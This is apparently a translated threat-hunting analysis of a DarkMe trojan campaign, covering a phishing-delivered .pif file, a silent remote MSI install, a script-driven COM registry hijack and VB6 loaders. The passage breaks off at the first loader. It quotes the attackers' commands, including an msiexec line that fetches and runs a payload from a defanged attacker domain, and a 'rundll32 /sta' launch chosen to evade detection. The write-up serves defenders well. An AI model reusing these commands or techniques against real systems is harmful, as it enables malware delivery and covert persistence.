DarkMe, троян-шпион и инструмент удаленного доступа на Visual Basic 6 (VB6), стал известен в феврале 2024 года благодаря использованию нулевых дней для доставки вредоносного ПО. Однако эта семья вредоносного ПО была впервые замечена в сентябре 2021 года и публично задокументирована год спустя компанией NSFOCUS в рамках "Операции DarkCasino", приписываемой группе под названием EvilNum. Исследователи из Trend Micro и SonicWall также связали это вредоносное ПО, с обычными оговорками по атрибуции, с Water Hydra, группой APT с необычным профилем, преследующей деньги, а не шпионаж. Ее кампании обычно имеют финансовую мотивацию, нацеливаясь на трейдеров на форекс, форумы по торговле акциями, онлайн-игровые платформы и пользователей криптовалют.
Что сделало вредоносное ПО DarkMe примечательным, так это способ доставки. В 2023 году Water Hydra использовала уязвимость в расширении WinRAR, CVE-2023-38831, как нулевой день, размещая вредоносные архивы на торговых форумах. В конце 2023 года и начале 2024 года Water Hydra переключилась на CVE-2024-21412, обходчик Defender SmartScreen, основанный на ярлыке, указывающем на другой ярлык (да, это было действительно так), размещенный на общем доступе WebDAV за созданным представлением Explorer.
Но наша история начинается с точки зрения команды охоты за угрозами Huntress, и этот метод торговли почти неузнаваем. Здесь нет никакой эксплуатации. Правило охоты зафиксировало странную активность вокруг файла информации программы (PIF), запускающего Windows Installer. Все, что идет после этого PIF, является классическим DarkMe, но все, что до этого, откровенно скучно. Тем не менее, мы подумали, что это интересная история, так как она иллюстрирует более широкую тенденцию среди продвинутых злоумышленников, выбирающих менее сложные методы первоначального доступа для расширения своей целевой аудитории.
Фигура 1: Обзор цепочки атаки, используемой в этой новой кампании DarkMe
Технический разбор
Первоначальный доступ: фото, которое не было
Доставка осуществлялась через ссылку в обычном электронном письме с социальным инженерингом:
Фигура 2: Фишинговое письмо, доставляющее PIF, замаскированный под изображение
Хотя ссылка в письме указывала на https://readonline365[.]com/view/image.png, URL для графического файла, веб-сервер доставил image.pif, исполняемый файл Windows.
Фигура 3: Свойства файла описывают его как "Ярлык к программе MS-DOS", но файл сам по себе является исполняемым.
Расширение .pif, реликт эпохи DOS, относится к "файлу информации программы". Современные системы Windows выполняют .pif файлы как программу, независимо от того, что подразумевает расширение (или что показывает иконка).
Фигура 4: При переименовании с расширением .exe вкладка "Сведения" на листе свойств файла показывает ранее скрытую подделанную информацию, которая подразумевает, что файл является компонентом продукта безопасности под названием Aegis Sentinel, но он не связан с этим продуктом.
Тот же самый, идентичный файл, 1 МБ PE32+ бинарный, был доставлен в две среды клиентов Huntress. Пользователи просто дважды щелкнули и загрузили файл, не осознавая, что это было.
Фигура 5: Загрузка и выполнение image.pif
Подготовка: msiexec, обертка exemsi и скрипт
Единственная задача PIF — вызвать установщик Microsoft, msiexec, чтобы загрузить и выполнить .msi файл установщика, размещенный на веб-адресе, зарегистрированном злоумышленником. Он выполнил эту команду для этого:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
Получение удаленного MSI по HTTPS с /quiet редко встречается в большинстве сред, потому что легитимные установщики почти никогда не находятся в корне иначе пустого домена.
Сам MSI является выдачей. Его метаданные идентифицируют его как созданный с помощью обертки exemsi "MSI Wrapper" (версия 11.0.53.0), упакованной под кодовым названием "PrinterFind Softwares", с датой создания 11 января 2024 года. Доброкачественная структура обертки полностью присутствует:
MsiCustomActions.dll
newdev.exe stub
BZ.RUN_BEFORE_INSTALL_FILE установлен на wScript.exe
Другими словами, цель установщика — разархивировать файл архива Windows Cabinet и запустить скрипт. EXPAND.EXE -R files.cab помещает компоненты в %AppData%\ComponentsFolder\, а установщик выполняет prnfig.wsf.
Фигура 6: Компоненты DarkMe, установленные в папке под названием ComponentsFolder
Загрузка Gist...
Фигура 7: prnfig.wsf, скрипт подготовки, показывающий копии файлов, переписывание шаблона реестра и импорт реестра плюс передача rundll32 /sta. Чтение prnfig.wsf открывает ясное окно в намерения оператора. Файл Windows Script Host выполняет четыре действия:
Копирует каждый сброшенный файл в %AppData%\ComponentsFolder\
Копирует только clspack.exe в %AppData%\Microsoft\, подготавливая цель полости, где подписанный бинарный файл Microsoft выглядит наименее неуместно
Записывает шаблон для внесения изменений в реестр Windows
Запускает загрузчик
Сброшенный файл text.txt является шаблоном реестра, который регистрирует COM-объект как @="Coconout.dll". Скрипт читает его, подставляет полный путь %AppData%\ComponentsFolder\Coconout.dll (включая имя локальной учетной записи в пути), экранирует обратные слэши для импорта .reg и записывает результат в filetext2.txt. Затем он спит 1,5 секунды и выполняет:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
Загрузка Gist...
Фигура 8: Шаблон реестра filetext.txt для импорта
Этот импорт регистрирует COM-сервер под HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, с ProgID Coconout.Primary и InprocServer32, указывающим на Coconout.dll.
Загрузчик: Rundll32.exe и три загрузчика Visual Basic 6
Команда, которая инициирует финальную стадию инфекции, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, была замечена в кампании 2024 года и является отличным признаком для обнаружения или охоты. Флаг /sta запускает зарегистрированный COM-объект в однопоточном помещении (STA) через IShellRunDll::Run, менее известный путь выполнения, который избегает обнаружения, основанного на обычном синтаксисе rundll32 <dll>,<export>.
Примечательно, что путь к DLL никогда не появляется в командной строке, только непрозрачный UUID.
Оттуда цепочка проходит через три загрузчика VB6, каждый из которых является слоем обфускации, вызывающим именованный экспорт в следующем:
Coconout.dll является COM-объектом первого этапа.